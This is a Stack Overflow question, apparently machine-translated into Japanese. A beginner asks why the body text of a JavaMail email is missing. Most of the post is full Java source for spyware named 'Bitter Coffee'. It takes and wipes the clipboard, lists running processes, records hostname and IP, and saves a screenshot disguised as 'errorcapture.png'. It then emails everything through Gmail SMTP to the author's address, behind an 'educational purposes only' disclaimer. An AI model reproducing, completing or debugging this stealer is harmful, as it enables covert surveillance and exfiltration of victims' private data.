0

特定のデータと添付ファイルを含むメールを送信するプログラムを作成しようとしていますが、何らかの理由でメールのテキストが受信されません。コード全体は次のとおりです。

import java.awt.Dimension;
import java.awt.Rectangle;
import java.awt.Robot;
import java.awt.Toolkit;
import java.awt.datatransfer.DataFlavor;
import java.awt.datatransfer.StringSelection;
import java.awt.datatransfer.Transferable;
import java.awt.image.BufferedImage;
import java.io.BufferedReader;
import java.io.File;
import java.io.InputStreamReader;
import java.net.InetAddress;
import java.net.UnknownHostException;
import java.util.*;
import javax.activation.*;
import javax.imageio.ImageIO;
import javax.mail.*;
import javax.mail.internet.*;

/* Terms of Use
* Program created by Silver (CEO of Idrees Inc) for theoretical and educational purposes only
* No data received from this app is used for any other purpose except the ones above
* Do NOT use this for any purposes other than the conditions above (Including the recording or saving of any data obtained with this program)
* You may NOT distribute, copy, or modify this program without the express permission of Silver (idrees@idreesinc.com)
* Silver is NOT responsible for any damages, physical or virtual, caused by this program
* Clipboard, Screen Capture and Task-list checkers based off programs by csanuragjain (http://www.codeproject.com/Members/csanuragjain)
* SMTP email with Gmail created by Arpit Shah (Founder of Crunchify.com [crunchify.com/about])
* Copyright IdreesInc.com  All rights reserved
*/

public class Application {

public static void main(String[] args) {

    final String username = "javasmtpserver@gmail.com";
    final String password = "password";
    String data = null;
    BufferedReader input = null;
    String commandOutput = "";
    InetAddress ip = null;
    String hostname = null;
    boolean allowEmails = true; //Allows or Blocks the application's ability to send emails

    //Clipboard Copier
     Transferable t = Toolkit.getDefaultToolkit().getSystemClipboard().getContents(null);

        try {
            if (t != null && t.isDataFlavorSupported(DataFlavor.stringFlavor)) {
                String text = (String)t.getTransferData(DataFlavor.stringFlavor);
                data = text;
                System.out.println("Current clipboard data:\n"+data); //Prints Clipboard data
                text=""; //String is now empty
                StringSelection ss = new StringSelection(text); //Clears Clipboard data
                Toolkit.getDefaultToolkit().getSystemClipboard().setContents(ss, null);
                System.out.println("Clipboard data wiped successfully" + text); //Displays "text" string after output for debugging

            }
        }
        catch(Exception e)
        {



    }
            //Tasklist Copier
        try {
            String line;
            Process p = Runtime.getRuntime().exec("tasklist.exe"); //Accesses running task-list
            input =
                    new BufferedReader(new InputStreamReader(p.getInputStream()));
            while ((line = input.readLine()) != null) {
                System.out.println(line); //Data is parsed
                   commandOutput += line;
                    line = input.readLine();
            }
            input.close();

        } catch (Exception err) {
            err.printStackTrace();
        }

          //IP Address Tracker
       try {
           ip = InetAddress.getLocalHost();
           hostname = ip.getHostName();
           System.out.println("IP address : " + ip);
           System.out.println("Hostname : " + hostname);

       } catch (UnknownHostException e) {
           e.printStackTrace();
       }

         //Screen Capture
    try
    {
     Dimension size = Toolkit.getDefaultToolkit().getScreenSize();
        Robot robot = new Robot();
        BufferedImage img = robot.createScreenCapture(new Rectangle(size));
        File save_path=new File("errorcapture.png");
        ImageIO.write(img, "png", save_path);
        System.out.println("Screen successfully captured");
    }
    catch(Exception e)
    {

    }

         //Data Sender
    if(allowEmails) {

    Properties props = new Properties();
    props.put("mail.smtp.auth", true);
    props.put("mail.smtp.starttls.enable", true);
    props.put("mail.smtp.host", "smtp.gmail.com");
    props.put("mail.smtp.port", "587");

    Session session = Session.getInstance(props,
            new javax.mail.Authenticator() {
                protected PasswordAuthentication getPasswordAuthentication() {
                    return new PasswordAuthentication(username, password);
                }
            });

    try {

        Message message = new MimeMessage(session);
        message.setFrom(new InternetAddress("javasmtpserver@gmail.com"));
        message.setRecipients(Message.RecipientType.TO,
                InternetAddress.parse("javasmtpserver@gmail.com"));
        message.setSubject("Application 'Bitter Coffee' Has Been Activated By " + hostname);
        message.setText("Application 'Bitter Coffee' has been activated by " + hostname + " (" + ip + ") and has ran successfully" + "<br><br>The activators information is as follows: " + "<br><br>Hostname: " + hostname + "<br>Server IP Address: " + ip + "<br><br>Clipboard Data: " + data + "<br><br><br>Active Tasks: " + commandOutput + "<br><br><br>Program created by Silver (CEO of Idrees Inc) for theoretical and educational purposes only<br>No data received from this app is used for any other purpose except the ones above<br>Do NOT use this for any purposes other than the conditions above (Including the recording or saving of any data obtained with this program)<br>You may NOT distribute, copy, or modify this program without the express permission of Silver (idrees@idreesinc.com)<br>I am not responsible for any damages, physical or virtual, caused by this program<br>Clipboard and Task-list checkers based off programs by csanuragjain (www.codeproject.com/Members/csanuragjain)<br>SMTP email with Gmail created by Arpit Shah (Founder of Crunchify.com [crunchify.com/about])<br><br>Copyright IdreesInc.com  All rights reserved");

        MimeBodyPart messageBodyPart = new MimeBodyPart();

        Multipart multipart = new MimeMultipart();

        messageBodyPart = new MimeBodyPart();
        String file = "errorcapture.png";
        String fileName = "errorcapture.png";
        DataSource source = new FileDataSource(file);
        messageBodyPart.setDataHandler(new DataHandler(source));
        messageBodyPart.setFileName(fileName);
        multipart.addBodyPart(messageBodyPart);

        message.setContent(multipart);

        System.out.println("Sending");

        Transport.send(message);

        System.out.println("Done");

    } catch (MessagingException e) {
        e.printStackTrace();
    }
    }
  }
}

プログラム javamail 送信者を含む部分は次のとおりです。

 //Data Sender
    if(allowEmails) {

    Properties props = new Properties();
    props.put("mail.smtp.auth", true);
    props.put("mail.smtp.starttls.enable", true);
    props.put("mail.smtp.host", "smtp.gmail.com");
    props.put("mail.smtp.port", "587");

    Session session = Session.getInstance(props,
            new javax.mail.Authenticator() {
                protected PasswordAuthentication getPasswordAuthentication() {
                    return new PasswordAuthentication(username, password);
                }
            });

    try {

        Message message = new MimeMessage(session);
        message.setFrom(new InternetAddress("javasmtpserver@gmail.com"));
        message.setRecipients(Message.RecipientType.TO,
                InternetAddress.parse("javasmtpserver@gmail.com"));
        message.setSubject("Application 'Bitter Coffee' Has Been Activated By " + hostname);
        message.setText("This is the body text that won't show up");

        MimeBodyPart messageBodyPart = new MimeBodyPart();

        Multipart multipart = new MimeMultipart();

        messageBodyPart = new MimeBodyPart();
        String file = "errorcapture.png";
        String fileName = "errorcapture.png";
        DataSource source = new FileDataSource(file);
        messageBodyPart.setDataHandler(new DataHandler(source));
        messageBodyPart.setFileName(fileName);
        multipart.addBodyPart(messageBodyPart);

        message.setContent(multipart);

        System.out.println("Sending");

        Transport.send(message);

        System.out.println("Done");

    } catch (MessagingException e) {
        e.printStackTrace();
    }
    }

私はJavaの完全な初心者なので、徹底的に説明してください。あなたのすべての男の助けをありがとう!:) また、これは私の 2 番目または 3 番目の SO の質問にすぎないため、投稿に何か見落としがあるかどうかも教えてください。

4

1 に答える 1